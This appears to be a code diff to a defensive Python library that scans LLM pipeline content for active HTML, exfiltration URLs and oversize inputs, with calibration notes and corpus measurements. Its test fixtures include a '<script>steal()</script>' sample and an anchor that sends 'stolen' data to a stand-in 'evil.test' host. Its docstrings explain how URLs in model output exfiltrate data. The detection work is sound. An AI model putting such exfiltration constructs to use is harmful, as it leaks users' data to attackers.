"scan_output", "scan_secret_egress", "scan_active_content",
|
||||
# disposition
|
||||
# disposition — `Risk` is the assessment axis, `Disposition` the action
|
||||
"decide", "guard", "Policy", "Trust", "Provenance",
|
||||
"Disposition", "DispositionResult",
|
||||
"Risk", "Disposition", "DispositionResult", "DEFAULT_ACTION_MAP",
|
||||
"PRESET_TRUSTED_SOURCE", "PRESET_USER_UPLOAD",
|
||||
# contract asserters
|
||||
"assert_tool_less", "assert_credential_allowlist",
|
||||
"credential_env_names", "scoped_env", "ContractViolation",
|
||||
"assert_within_input_cap", "OversizeInputError",
|
||||
# grounding seam
|
||||
"SourceGroundingCheck", "no_grounding_check", "DEFAULT_GROUNDING_CHECK",
|
||||
# §6 bookends
|
||||
|
|
|
|||
|
|
@ -16,13 +16,80 @@ consumers share it:
|
|||
* :func:`~llm_ingestion_guard.neutralize.neutralize` — the separate, opt-in
|
||||
**mutator** that defangs the same constructs for human audit.
|
||||
|
||||
One deliberate asymmetry between the two: the scanner flags markdown images and
|
||||
links only when the URL is absolute or protocol-relative. A relative in-document
|
||||
link has no attacker-reachable endpoint, and flagging it would silently
|
||||
over-block legitimate wiki/OKF content (design principle 5) — cross-linking is
|
||||
those formats' core mechanism. ``neutralize`` keeps its broader defang-anything
|
||||
behavior: it is opt-in, and bracketed dots in a relative path are auditable,
|
||||
not blocking.
|
||||
One deliberate asymmetry between the two: the scanner flags a construct only when
|
||||
its URL is absolute or protocol-relative. A relative in-document link has no
|
||||
attacker-reachable endpoint, and flagging it would silently over-block legitimate
|
||||
wiki/OKF content (design principle 5) — cross-linking is those formats' core
|
||||
mechanism. ``neutralize`` keeps its broader defang-anything behavior: it is
|
||||
opt-in, and bracketed dots in a relative path are auditable, not blocking.
|
||||
|
||||
The two predicates are therefore separate symbols — :func:`is_active_tag` for the
|
||||
scanner, :func:`is_defangable_tag` for the mutator. They were one symbol until
|
||||
0.6.0, imported by name across modules, so narrowing the scanner would have moved
|
||||
the mutator silently.
|
||||
|
||||
**The asymmetry covers raw HTML too** (0.6.0). It previously applied only to the
|
||||
markdown paths: a tag was active if it carried a URL attribute *at all*, so an MDX
|
||||
``<Card href="/en/quickstart">`` — a doc-relative route on a name outside the
|
||||
active set — carried HIGH. It now requires an external target, the rule the
|
||||
markdown paths have applied since 0.3.1. ``<base>`` left the active *name* set in
|
||||
the same change: its whole affordance is its ``href``, which the URL-attribute
|
||||
branch still catches, while the attribute-less ``<base />`` of Azure APIM policy
|
||||
XML has no affordance in any renderer. Measured together rather than one at a time
|
||||
— the classes co-occur — the pair frees 25 of 133 non-WARN documents on the
|
||||
reference corpus and 2 each on the two wiki corpora, at unchanged recall. Method
|
||||
and numbers: ``docs/rawhtml-census.py``; residuals: ``docs/LIMITATIONS.md``.
|
||||
|
||||
**Raw HTML grades on carrier too, and a tag that names no target is inert**
|
||||
(0.7.0). Two changes that had to ship together, because they co-occur:
|
||||
|
||||
* the *carrier split* — ``<a>``/``<area>`` are click-required, so they report as
|
||||
``active:raw-html-link`` at MEDIUM, the grade the markdown inline link has
|
||||
carried since 0.3.1. Until 0.6.1 the same URL was LOW as ``[t](url)`` and HIGH
|
||||
as ``<a href="url">``: an asymmetry produced by syntax, not by affordance.
|
||||
* the *no-URL narrowing* — a tag whose entire affordance IS the URL it names
|
||||
(``_URL_AFFORDANCE_TAGS``), carrying no URL attribute at all, has no affordance
|
||||
in any renderer. This is ``<base />``'s argument from 0.6.0 applied to the rest
|
||||
of the name branch, and it frees ``</a>``, ``<Frame>``, ``<video />`` and
|
||||
``<img alt=...>`` without ``src``.
|
||||
|
||||
They had to ship together because they co-occur: the narrowing strips a document's
|
||||
``</a>``/``<Frame>``, and what remains is the ``<a href=...>`` the split grades
|
||||
down, so each change alone leaves the document blocked by the other's residue. The
|
||||
split never lets a document reach WARN — it converts a hard block into a human
|
||||
review, which is the difference a consumer actually feels and the reason the census
|
||||
reports ``fail_secure`` alongside non-WARN.
|
||||
|
||||
**Measured through the census on three populations, each at one corpus state**
|
||||
(``fail_secure`` under ``PRESET_USER_UPLOAD``, 0.6.0 as shipped -> 0.7.0; the
|
||||
ceiling is the detector switched off entirely):
|
||||
|
||||
=================== ========= ============= ======= =========================
|
||||
population documents 0.6.0 -> 0.7.0 ceiling tightens (upload/trusted)
|
||||
=================== ========= ============= ======= =========================
|
||||
reference-corpus 389 54 -> 53 53 0 / 0
|
||||
vendor-harvest 187 62 -> 20 18 0 / 0
|
||||
generated-notes 552 59 -> 15 13 0 / 0
|
||||
=================== ========= ============= ======= =========================
|
||||
|
||||
The pair takes **42 of the 44 achievable on vendor-harvest and 44 of 46 on
|
||||
generated-notes** — 95% and 96% of what switching the detector off would buy.
|
||||
reference-corpus was already emptied of raw-HTML drivers by the 0.6.0 narrowing,
|
||||
so it bounds the change rather than showing its value; the wiki corpora are where
|
||||
the volume is.
|
||||
|
||||
**Neither change alone reaches half of it, and the residual is identical in both
|
||||
corpora.** The split alone frees 8 documents in each; the narrowing alone frees 21
|
||||
and 23. 8+21 against a measured 42, and 8+23 against a measured 44: **13 documents
|
||||
per corpus are freed by the pair and by neither member** — the narrowing strips a
|
||||
document's ``</a>``/``<Frame>`` and what remains is the ``<a href=...>`` the split
|
||||
grades down. Shipping either alone would have measured as barely worth the label.
|
||||
Method and rows: ``docs/rawhtml-census.py``.
|
||||
|
||||
The URL-attribute branch deliberately stays on the HIGH side of the split. A name
|
||||
outside the active set has unknown rendering and ``href`` is not the only URL
|
||||
attribute it may carry; grading ``<Card src="...">`` as a link would be reasoning,
|
||||
not measurement.
|
||||
|
||||
**Severity grades on URL shape, not construct type** (0.3.1). The exfiltration
|
||||
primitive is not "an image" — it is a URL that moves bytes to a host the
|
||||
|
|
@ -33,8 +100,12 @@ document with one remote image fail-secured). :func:`is_ordinary_url` separates
|
|||
the two axes: a URL that only *names* a remote document is
|
||||
``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value —
|
||||
a query, userinfo, percent-escapes, or an opaque host label / path segment —
|
||||
keeps the carrier's full severity. ``raw-html`` and ``data:`` URIs have no
|
||||
ordinary form and stay HIGH unconditionally: they are active whatever the URL.
|
||||
keeps the carrier's full severity. The raw-HTML classes and ``data:`` URIs have no
|
||||
ordinary form and keep their carrier's severity unconditionally — HIGH for
|
||||
``raw-html``, MEDIUM for ``raw-html-link``: they are active whatever the URL, and
|
||||
an event handler needs no URL at all. Applying ``is_ordinary_url`` to raw tags was
|
||||
considered and rejected: real vendor-doc image URLs are largely not ordinary, so it
|
||||
buys little, and it would add a third tier to a class nobody asked to have three.
|
||||
|
||||
The opacity test reuses ``entropy``'s primitives rather than inventing a second
|
||||
heuristic, and it is a *backstop*, not the main line of defence: a literal
|
||||
|
|
@ -60,12 +131,13 @@ from urllib.parse import urlsplit
|
|||
from .calibration import (
|
||||
ACTIVE_CONTENT_ORDINARY_SEVERITY as _ORDINARY_SEVERITY,
|
||||
ACTIVE_CONTENT_SEVERITY as _SEVERITY,
|
||||
MAX_SCAN_CHARS,
|
||||
URL_OPAQUE_ENTROPY_H as _OPAQUE_H,
|
||||
URL_OPAQUE_HEX_MIN_LEN as _OPAQUE_HEX_LEN,
|
||||
URL_OPAQUE_MIN_LEN as _OPAQUE_MIN_LEN,
|
||||
)
|
||||
from .entropy import is_hex_blob, shannon_entropy, try_decode_base64
|
||||
from .report import Finding, Report, Source
|
||||
from .report import Finding, Report, Severity, Source
|
||||
|
||||
# --- URL defang (shared primitive) -------------------------------------------
|
||||
# Rewrite a URL to a form no renderer will resolve, while keeping it readable.
|
||||
|
|
@ -80,7 +152,26 @@ _SCHEME_SUBS = (
|
|||
# Dot-defang that is idempotent: never touches a `.` already inside `[.]`.
|
||||
_DOT_RE = re.compile(r"(?<!\[)\.(?!\])")
|
||||
# A bare http(s)/ftp URL embedded in other text (used inside escaped HTML).
|
||||
URL_IN_TEXT_RE = re.compile(r"[A-Za-z][A-Za-z0-9+.\-]*://[^\s'\"<>]+")
|
||||
#
|
||||
# ReDoS note (OWASP LLM10). The scheme run sits in front of a REQUIRED `://`, so
|
||||
# a long run of scheme characters that never reaches it costs a full rescan at
|
||||
# every start position: `<a ` + `A`*100_000 + `>` measured 12.99s through
|
||||
# `scan_active_content` and 14.9s through `neutralize`, exponent ~2.0 over four
|
||||
# doublings, on entry points that apply no input cap. The 0.3.2 sweep missed it
|
||||
# because its payloads repeat a unit, and this arm needs the tag to CLOSE before
|
||||
# the body is handed on.
|
||||
#
|
||||
# The exclusion trick used by the constructs below does not apply — the attack
|
||||
# repeats a plain scheme character, not this pattern's anchor — so the run is
|
||||
# bounded to an RFC 3986 scheme instead (`ALPHA *( ALPHA / DIGIT / "+" / "-" /
|
||||
# "." )`; the longest registered scheme is far under 64). Unlike the detector
|
||||
# tables, bounding costs nothing here: this is a defanger applied INSIDE a tag
|
||||
# already flagged `active:raw-html`, padding merely shifts where the match
|
||||
# starts, and a 64+ character "scheme" is not resolvable by any renderer. A
|
||||
# lookbehind that killed interior start positions was measured too and rejected:
|
||||
# it drops `-http://evil.com` and `.http://x.com`, a one-character evasion of
|
||||
# the defanger. Bounded: 0.185s at the full 1_000_000-char cap.
|
||||
URL_IN_TEXT_RE = re.compile(r"[A-Za-z][A-Za-z0-9+.\-]{0,63}://[^\s'\"<>]+")
|
||||
|
||||
|
||||
def defang_url(url: str) -> str:
|
||||
|
|
@ -160,10 +251,106 @@ _ACTIVE_TAGS = frozenset({
|
|||
"form", "img", "input", "button", "video", "audio", "source", "track", "a",
|
||||
"area", "frame", "frameset", "applet", "style",
|
||||
})
|
||||
# The SCANNER's name set. `<base>`'s only affordance is its `href`, which the
|
||||
# URL-attribute branch still catches; `<base />` without one is inert. The mutator
|
||||
# keeps the full set — see the module docstring.
|
||||
_SCANNER_ACTIVE_TAGS = _ACTIVE_TAGS - {"base"}
|
||||
# Tags whose entire active affordance IS the URL they name. Carrying no URL
|
||||
# attribute at all, they name no target, so no renderer can fetch or follow them
|
||||
# — `<base />`'s argument (0.6.0) applied to the rest of the name branch. The
|
||||
# shapes this frees, observed inside vendor-harvest's fail_secure documents:
|
||||
# `</a>`, `<Frame>`/`</Frame>`, `<video />`, and `<img alt=...>` with no `src` —
|
||||
# end tags and MDX wrapper components dominate.
|
||||
# Everything else in the name set does something a URL cannot describe —
|
||||
# `<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
|
||||
# active with no attributes at all.
|
||||
_URL_AFFORDANCE_TAGS = frozenset({
|
||||
"a", "area", "img", "video", "audio", "source", "track", "frame", "frameset",
|
||||
})
|
||||
# Click-required carriers: following one needs a human, exactly like a markdown
|
||||
# inline link. Everything else the renderer fetches or executes unattended.
|
||||
_LINK_TAGS = frozenset({"a", "area"})
|
||||
|
||||
# `_URL_ATTR_RE` above is a presence test and deliberately captures no value.
|
||||
# Reading the value needs the same literal alternation with the value attached, so
|
||||
# no new run shape enters the table: every run here sits in front of a required
|
||||
# literal that the alternation has already anchored. (Self-safety, OWASP LLM10 —
|
||||
# `tests/test_output.py::_REDOS_PAYLOADS` carries the measured row.)
|
||||
_URL_ATTR_VALUE_RE = re.compile(
|
||||
r"\b(?:src|href|xlink:href|srcset|data|poster|formaction|action|background|cite|codebase|longdesc)"
|
||||
r"\s*=\s*(?P<v>\"[^\"]*\"|'[^']*'|[^\s>]+)",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
# `srcset` holds a comma-separated candidate list, so an attribute value is not
|
||||
# always one URL. Splitting means a relative first candidate cannot mask an
|
||||
# external one behind it.
|
||||
_URL_CANDIDATE_SPLIT_RE = re.compile(r"[,\s]+")
|
||||
|
||||
|
||||
def _url_attr_is_external(attrs: str) -> bool:
|
||||
"""True if a URL-bearing attribute names an attacker-reachable target.
|
||||
|
||||
Fail-secure: an attribute ``_URL_ATTR_RE`` saw but whose value cannot be read
|
||||
here counts as external, so a gap between the two patterns over-blocks rather
|
||||
than under-blocks.
|
||||
"""
|
||||
seen = False
|
||||
for m in _URL_ATTR_VALUE_RE.finditer(attrs):
|
||||
seen = True
|
||||
value = m.group("v")
|
||||
if value[:1] in "\"'":
|
||||
value = value[1:-1]
|
||||
if any(_has_external_target(c)
|
||||
for c in _URL_CANDIDATE_SPLIT_RE.split(value.strip()) if c):
|
||||
return True
|
||||
return not seen
|
||||
|
||||
|
||||
def active_tag_class(name: str, attrs: str) -> str | None:
|
||||
"""The active-content class a raw tag belongs to, or ``None`` if it is inert.
|
||||
|
||||
``"raw-html-link"`` is the click-required carrier class; ``"raw-html"`` is
|
||||
everything the renderer acts on unattended. The event-handler test runs
|
||||
FIRST, before the name test, so an ``<a onclick=...>`` is graded as the
|
||||
execute-class carrier it is rather than downgraded with the anchors.
|
||||
"""
|
||||
lowered = name.lower()
|
||||
if _EVENT_ATTR_RE.search(attrs):
|
||||
return "raw-html"
|
||||
# Presence, not a readable value: a URL attribute whose value this module
|
||||
# cannot resolve must keep the tag active, mirroring `_url_attr_is_external`'s
|
||||
# fail-secure gap. The corpora carry 0 of these today — empirical, not
|
||||
# structural, so the predicate must not depend on that holding.
|
||||
has_url_attr = bool(_URL_ATTR_RE.search(attrs))
|
||||
if lowered in _SCANNER_ACTIVE_TAGS:
|
||||
if lowered in _URL_AFFORDANCE_TAGS and not has_url_attr:
|
||||
return None
|
||||
return "raw-html-link" if lowered in _LINK_TAGS else "raw-html"
|
||||
# A name outside the active set is active only through its URL attribute, and
|
||||
# stays on the HIGH side: its rendering is unknown and `href` is not the only
|
||||
# URL attribute it may carry. Measured cost of that conservatism: one
|
||||
# document per wiki corpus.
|
||||
if has_url_attr and _url_attr_is_external(attrs):
|
||||
return "raw-html"
|
||||
return None
|
||||
|
||||
|
||||
def is_active_tag(name: str, attrs: str) -> bool:
|
||||
"""True if an HTML tag is active: executing element, event handler, or URL attr."""
|
||||
"""True if a tag is active for the SCANNER, in either carrier class.
|
||||
|
||||
Kept as a separate symbol because ``docs/rawhtml-census.py`` patches it to
|
||||
measure a candidate predicate, and consumers import it by name.
|
||||
"""
|
||||
return active_tag_class(name, attrs) is not None
|
||||
|
||||
|
||||
def is_defangable_tag(name: str, attrs: str) -> bool:
|
||||
"""True if the MUTATOR should defang a tag — deliberately broader than
|
||||
:func:`is_active_tag`: any URL attribute, and the full name set.
|
||||
|
||||
Over-defanging costs nothing here (``neutralize`` is opt-in and blocks no
|
||||
disposition), while under-defanging would hand a human a live construct.
|
||||
"""
|
||||
return bool(
|
||||
name.lower() in _ACTIVE_TAGS
|
||||
or _EVENT_ATTR_RE.search(attrs)
|
||||
|
|
@ -248,15 +435,35 @@ def is_ordinary_url(url: str) -> bool:
|
|||
# shares them.
|
||||
|
||||
|
||||
def scan_active_content(text: str, source: Source = Source.OUTPUT) -> Report:
|
||||
def scan_active_content(
|
||||
text: str,
|
||||
source: Source = Source.OUTPUT,
|
||||
max_scan_chars: int = MAX_SCAN_CHARS,
|
||||
) -> Report:
|
||||
"""Report active-content constructs with an external target in ``text``.
|
||||
|
||||
Report-only (design principles 3 & 4): the input is never mutated and no
|
||||
disposition is rendered here. Labels are ``active:<class>``; severities
|
||||
mirror ``neutralize``'s (image / raw-html / data-uri HIGH, links MEDIUM).
|
||||
|
||||
Self-safety (OWASP LLM10): the scanned length is capped once, and an
|
||||
``active:oversize-input`` finding announces that the tail went unread. It
|
||||
truncates rather than raising the way the transform surfaces do — what a
|
||||
detector shortens is its own coverage, not the caller's content. Reached
|
||||
through :func:`~llm_ingestion_guard.output.scan_output` the text is already
|
||||
under that surface's cap, so the flag is raised once, there.
|
||||
"""
|
||||
report = Report()
|
||||
|
||||
if len(text) > max_scan_chars:
|
||||
report.add(Finding(
|
||||
label="active:oversize-input", severity=Severity.MEDIUM,
|
||||
source=source, detector="active_content", count=len(text),
|
||||
owasp="LLM10",
|
||||
evidence=f"input {len(text)} chars exceeds cap {max_scan_chars}; scanned prefix only",
|
||||
))
|
||||
text = text[:max_scan_chars]
|
||||
|
||||
def _flag(cls: str, hits: list[tuple[str, bool]]) -> None:
|
||||
"""Report one finding for ``cls``, graded by its *worst* member.
|
||||
|
||||
|
|
@ -309,18 +516,24 @@ def scan_active_content(text: str, source: Source = Source.OUTPUT) -> Report:
|
|||
_flag("autolink", autos)
|
||||
|
||||
# Raw HTML is active whatever its URL looks like (an event handler needs no
|
||||
# URL at all), so every tag is flagged as carrying — no ordinary form.
|
||||
html: list[tuple[str, bool]] = []
|
||||
# URL at all), so every tag is flagged as carrying — no ordinary form. The
|
||||
# two carrier classes are collected separately: a document holding both a
|
||||
# `<script>` and an `<a href>` must not lose the anchor behind the script,
|
||||
# nor grade the script down to the anchor's severity.
|
||||
html: dict[str, list[tuple[str, bool]]] = {"raw-html": [], "raw-html-link": []}
|
||||
|
||||
def _tag(m: re.Match[str]) -> str:
|
||||
if not is_active_tag(m.group("name"), m.group("attrs") or ""):
|
||||
cls = active_tag_class(m.group("name"), m.group("attrs") or "")
|
||||
if cls is None:
|
||||
return m.group(0)
|
||||
html.append((URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
|
||||
html[cls].append(
|
||||
(URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
|
||||
return " " * len(m.group(0))
|
||||
|
||||
masked = HTML_TAG_RE.sub(_tag, masked)
|
||||
if html:
|
||||
_flag("raw-html", html)
|
||||
for cls in ("raw-html", "raw-html-link"):
|
||||
if html[cls]:
|
||||
_flag(cls, html[cls])
|
||||
|
||||
# A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme
|
||||
# outright, so this stays HIGH through the same path as the rest.
|
||||
|
|
|
|||
|
|
@ -47,6 +47,17 @@ ENTROPY_HEX_FLOOR_LEN = 64
|
|||
# measured to do before the ReDoS fix (see active_content's pattern-table note).
|
||||
MAX_SCAN_CHARS = 1_000_000
|
||||
|
||||
# --- transform surfaces: input cap ------------------------------------------
|
||||
# The same size, and deliberately NOT the same constant, because the two caps
|
||||
# buy different things and may need to move apart. MAX_SCAN_CHARS truncates: a
|
||||
# scanner returns findings, so reading the prefix costs *detection* on the tail
|
||||
# and nothing else. `sanitize` / `fence` / `neutralize` return content, so the
|
||||
# equivalent move would hand back either a shortened document (silent data loss)
|
||||
# or an untransformed tail (a bypass an attacker positions the payload into).
|
||||
# They reject instead — see contract.OversizeInputError. Held at 1M so a
|
||||
# document accepted by the input path is one the scanners can also read whole.
|
||||
MAX_INPUT_CHARS = 1_000_000
|
||||
|
||||
# --- output: secret-egress self-safety --------------------------------------
|
||||
# Longest password a connection-string pattern will match. A bound is required
|
||||
# (not merely nice) because the run sits in front of a mandatory `@`: unbounded,
|
||||
|
|
@ -79,6 +90,34 @@ DISPOSITION_RANK = {
|
|||
"fail_secure": 2,
|
||||
}
|
||||
|
||||
# --- assessment: the risk axis (0.5.0 axis separation) ----------------------
|
||||
# Rank of each risk level, same value-keyed convention as DISPOSITION_RANK.
|
||||
# ``Risk`` answers *how dangerous is this artifact given its source context*;
|
||||
# ``Disposition`` answers *what should the pipeline do*. They were one enum
|
||||
# through 0.4.0, which meant a consumer wanting a different action had to
|
||||
# re-derive it from the action itself — the assessment was already discarded.
|
||||
RISK_RANK = {
|
||||
"none": 0,
|
||||
"low": 1,
|
||||
"elevated": 2,
|
||||
"severe": 3,
|
||||
}
|
||||
|
||||
# The default risk -> disposition mapping, keyed by both enum *value* strings.
|
||||
# This map is what keeps the separation additive: it reproduces every
|
||||
# disposition 0.4.0 rendered, so a caller that ignores the new axis sees no
|
||||
# change at all. A ``Policy`` may override it; ``None`` means "use this".
|
||||
#
|
||||
# NONE and LOW both map to ``warn`` deliberately — that collapse is precisely
|
||||
# the information 0.4.0 could not express, since a clean document and one
|
||||
# carrying only low-severity findings were the same single value.
|
||||
DEFAULT_ACTION_MAP = {
|
||||
"none": "warn",
|
||||
"low": "warn",
|
||||
"elevated": "quarantine_review",
|
||||
"severe": "fail_secure",
|
||||
}
|
||||
|
||||
# --- active_content: per-construct severities -------------------------------
|
||||
# Zero-click auto-fetch / auto-execute constructs are HIGH; click-required ones
|
||||
# are MEDIUM. Mirrors ``neutralize``'s defang classes. These are the severities
|
||||
|
|
@ -90,6 +129,11 @@ ACTIVE_CONTENT_SEVERITY = {
|
|||
"reference-link": Severity.MEDIUM,
|
||||
"autolink": Severity.MEDIUM,
|
||||
"raw-html": Severity.HIGH,
|
||||
# The raw-HTML carrier split (0.7.0). Until 0.6.1 every active tag was HIGH,
|
||||
# so the same URL was MEDIUM as `[t](url)` and HIGH as `<a href="url">` — an
|
||||
# asymmetry that came from syntax rather than affordance. Following an anchor
|
||||
# needs a human, so it grades with the other click-required carriers.
|
||||
"raw-html-link": Severity.MEDIUM,
|
||||
"data-uri": Severity.HIGH,
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -18,6 +18,12 @@ Three asserts, matching the reusable-contract checklist (BRIEF §6, steps 3-4):
|
|||
env so a hijacked stage cannot even read a credential it was never granted;
|
||||
the assert then passes by construction.
|
||||
|
||||
A fourth asserter lives here for the same reason — it enforces rather than
|
||||
reports — though it belongs to the transform path rather than the quarantine
|
||||
checklist: **(d) bounded transform input**, :func:`assert_within_input_cap`,
|
||||
which the three content-returning surfaces call so an oversize document is
|
||||
refused instead of half-transformed.
|
||||
|
||||
Reference: ``claude-code-llm-wiki`` ``tools/wiki_ingest/enrich.py``
|
||||
``assert_quarantine`` — a pipeline-specific quarantine gate, generalized here
|
||||
into framework-agnostic, reusable pieces.
|
||||
|
|
@ -51,6 +57,40 @@ class ContractViolation(Exception):
|
|||
self.details = details
|
||||
|
||||
|
||||
class OversizeInputError(ContractViolation):
|
||||
"""A transform surface was handed more text than it will transform.
|
||||
|
||||
A *subclass*, not a sibling: a pipeline that already brackets its quarantined
|
||||
stage in ``except ContractViolation`` keeps failing closed rather than
|
||||
meeting an exception type it has never heard of. :attr:`details` names the
|
||||
surface that refused; the sizes go in the message, and neither carries any
|
||||
of the input, so the exception stays alert-routable like its parent.
|
||||
"""
|
||||
|
||||
|
||||
def assert_within_input_cap(text: str, *, surface: str, max_input_chars: int) -> None:
|
||||
"""Raise :class:`OversizeInputError` unless ``text`` fits the transform cap.
|
||||
|
||||
The write-time asserter for the *transform* surfaces (d). Where the scanners
|
||||
bound their work by truncating — findings are lossy in the tail and nothing
|
||||
else — a transform returns content, so a prefix-only result is either silent
|
||||
data loss or an untransformed tail the payload can be positioned into. The
|
||||
invariant these three keep instead is: returned text is always fully
|
||||
transformed, or not returned at all.
|
||||
|
||||
``max_input_chars`` is the largest accepted size, not the smallest rejected
|
||||
one.
|
||||
"""
|
||||
size = len(text)
|
||||
if size > max_input_chars:
|
||||
raise OversizeInputError(
|
||||
f"{surface}: input {size} chars exceeds cap {max_input_chars}; "
|
||||
"refused rather than partially transformed",
|
||||
code="oversize-input",
|
||||
details=(surface,),
|
||||
)
|
||||
|
||||
|
||||
# --- (a) tool-less transform -----------------------------------------------
|
||||
|
||||
# Populated tool surface across Anthropic + OpenAI request shapes. An empty
|
||||
|
|
|
|||
|
|
@ -485,6 +485,12 @@ def _build_cases() -> list[Case]:
|
|||
f"", owasp="LLM05"),
|
||||
_scan_case("active", "raw active HTML", "active:raw-html",
|
||||
"<script>steal()</script>", owasp="LLM05"),
|
||||
# The carrier split (0.7.0): a raw anchor is click-required, so it grades
|
||||
# with the markdown link rather than with the zero-click carriers. It is
|
||||
# its own class, and recall for it is demonstrated separately — a label a
|
||||
# consumer can pin needs a row here, or 128/128 would silently exclude it.
|
||||
_scan_case("active", "raw HTML anchor (click-required)", "active:raw-html-link",
|
||||
'<a href="https://evil.test/collect?d=stolen">t</a>', owasp="LLM05"),
|
||||
_scan_case("active", "standalone data: URI in prose", "active:data-uri",
|
||||
"payload data:text/html;base64,PHN2Zz4= end", owasp="LLM05"),
|
||||
_predicate_case("active", "ordinary document is NOT over-blocked", "warn",
|
||||
|
|
@ -536,8 +542,11 @@ def _build_cases() -> list[Case]:
|
|||
lambda: okf.parse_frontmatter("---\nkey:\n nested: x\n---\nbody\n"), owasp="LLM10"),
|
||||
_raise_case("okf", "T2 frontmatter block scalar", "OKFFrontmatterError",
|
||||
lambda: okf.parse_frontmatter("---\ndesc: |\n block\n---\nbody\n"), owasp="LLM10"),
|
||||
_raise_case("okf", "T2 frontmatter flow collection", "OKFFrontmatterError",
|
||||
_raise_case("okf", "T2 frontmatter flow sequence", "OKFFrontmatterError",
|
||||
lambda: okf.parse_frontmatter("---\ntags: [a, b]\n---\nbody\n"), owasp="LLM10"),
|
||||
_raise_case("okf", "T2 mapping key off the allowlist", "OKFFrontmatterError",
|
||||
lambda: okf.parse_frontmatter(
|
||||
"---\ngenerated: { by: a, tool: shell }\n---\nbody\n"), owasp="LLM10"),
|
||||
_raise_case("okf", "T3 resource non-https (http)", "OKFResourceError",
|
||||
lambda: okf.validate_resource_url("http://insecure.test/x"), owasp="LLM05"),
|
||||
_raise_case("okf", "T3 resource data: scheme", "OKFResourceError",
|
||||
|
|
|
|||
|
|
@ -23,12 +23,35 @@ from __future__ import annotations
|
|||
|
||||
from dataclasses import dataclass
|
||||
from enum import Enum
|
||||
from typing import Callable, Optional
|
||||
from typing import Callable, Mapping, Optional
|
||||
|
||||
from .calibration import DISPOSITION_RANK
|
||||
from .calibration import DEFAULT_ACTION_MAP as _DEFAULT_ACTION_MAP_VALUES
|
||||
from .calibration import DISPOSITION_RANK, RISK_RANK
|
||||
from .report import Report, Severity, severity_rank
|
||||
|
||||
|
||||
class Risk(str, Enum):
|
||||
"""How dangerous the artifact is *given its source context* — the assessment.
|
||||
|
||||
The other half of the 0.5.0 axis separation. :class:`Disposition` names an
|
||||
**action**; ``Risk`` names the **judgement that action was derived from**.
|
||||
Through 0.4.0 only the action was returned, which had two costs: a consumer
|
||||
who wanted different behaviour had to reinterpret an action whose reasoning
|
||||
was already gone, and ``NONE`` vs ``LOW`` — a clean document versus one
|
||||
carrying only low-severity findings — were indistinguishable, since both
|
||||
render as ``WARN``.
|
||||
|
||||
Risk is **trust-aware**, exactly as BRIEF §4.7 describes the domain: the
|
||||
same finding genuinely *is* a different judgement in authored prose than in
|
||||
a code fence, not merely a different action taken on one shared judgement.
|
||||
"""
|
||||
|
||||
NONE = "none" # no findings at all
|
||||
LOW = "low" # findings present, none dispositive in this context
|
||||
ELEVATED = "elevated" # suspicious enough to hold for a human
|
||||
SEVERE = "severe" # treat as a real payload
|
||||
|
||||
|
||||
class Disposition(str, Enum):
|
||||
"""The gate decision, ordered by :data:`_DISPOSITION_RANK`."""
|
||||
|
||||
|
|
@ -54,19 +77,41 @@ class Provenance(str, Enum):
|
|||
|
||||
@dataclass(frozen=True)
|
||||
class Policy:
|
||||
"""A named source-trust policy. See the ``PRESET_*`` constants."""
|
||||
"""A named source-trust policy. See the ``PRESET_*`` constants.
|
||||
|
||||
``action_map`` overrides how an assessed :class:`Risk` becomes a
|
||||
:class:`Disposition`. ``None`` — the default — means
|
||||
:data:`DEFAULT_ACTION_MAP`, which reproduces every disposition 0.4.0
|
||||
rendered. It is deliberately ``None`` rather than the map itself so an
|
||||
untouched ``Policy`` stays hashable exactly as before.
|
||||
|
||||
This is the seam a consumer needs: wanting *hold for review* where we
|
||||
render *fail secure* is now a policy statement, not a reason to pin our
|
||||
grading.
|
||||
"""
|
||||
|
||||
trust: Trust
|
||||
quarantine_default: bool = False # any finding -> at least QUARANTINE_REVIEW
|
||||
action_map: Optional[Mapping[Risk, Disposition]] = None
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class DispositionResult:
|
||||
"""The decision plus an auditable trail of which rules fired."""
|
||||
"""The decision plus an auditable trail of which rules fired.
|
||||
|
||||
``assessment`` is the risk the rules actually established; ``disposition``
|
||||
is that risk mapped through the policy's action map. Consumers that gate on
|
||||
the assessment are insulated from a later recalibration of the mapping.
|
||||
"""
|
||||
|
||||
disposition: Disposition
|
||||
reasons: tuple[str, ...]
|
||||
max_severity: Optional[Severity]
|
||||
assessment: Risk
|
||||
# Deliberately *required*, with no default. ``Risk.NONE`` would be the
|
||||
# natural-looking default and is precisely the wrong one: a construction
|
||||
# site that forgot the field would report a clean assessment, so the axis
|
||||
# would fail open. Fail-loud beats fail-silent for a gate (BRIEF §4.7).
|
||||
|
||||
|
||||
# Invisible carriers have no legitimate place in a reference file: they block in
|
||||
|
|
@ -83,20 +128,52 @@ _CARRIER_LABELS = frozenset({
|
|||
"lexicon:unicode-tags-present",
|
||||
})
|
||||
|
||||
# Enum-keyed rank rebuilt from calibration's value-keyed source of truth
|
||||
# (calibration is a leaf module and cannot import the Disposition enum without a
|
||||
# cycle). Higher = more severe.
|
||||
# Enum-keyed ranks rebuilt from calibration's value-keyed source of truth
|
||||
# (calibration is a leaf module and cannot import these enums without a cycle).
|
||||
# Higher = more severe.
|
||||
_DISPOSITION_RANK = {d: DISPOSITION_RANK[d.value] for d in Disposition}
|
||||
_RISK_RANK = {r: RISK_RANK[r.value] for r in Risk}
|
||||
|
||||
DEFAULT_ACTION_MAP: Mapping[Risk, Disposition] = {
|
||||
Risk(risk_value): Disposition(disposition_value)
|
||||
for risk_value, disposition_value in _DEFAULT_ACTION_MAP_VALUES.items()
|
||||
}
|
||||
"""The default :class:`Risk` -> :class:`Disposition` mapping.
|
||||
|
||||
Reproduces every disposition 0.4.0 rendered, so the axis separation is additive:
|
||||
a caller that never reads ``assessment`` sees no behavioural change.
|
||||
"""
|
||||
|
||||
|
||||
def _more_severe(a: Disposition, b: Disposition) -> Disposition:
|
||||
return a if _DISPOSITION_RANK[a] >= _DISPOSITION_RANK[b] else b
|
||||
def _more_severe(a: Risk, b: Risk) -> Risk:
|
||||
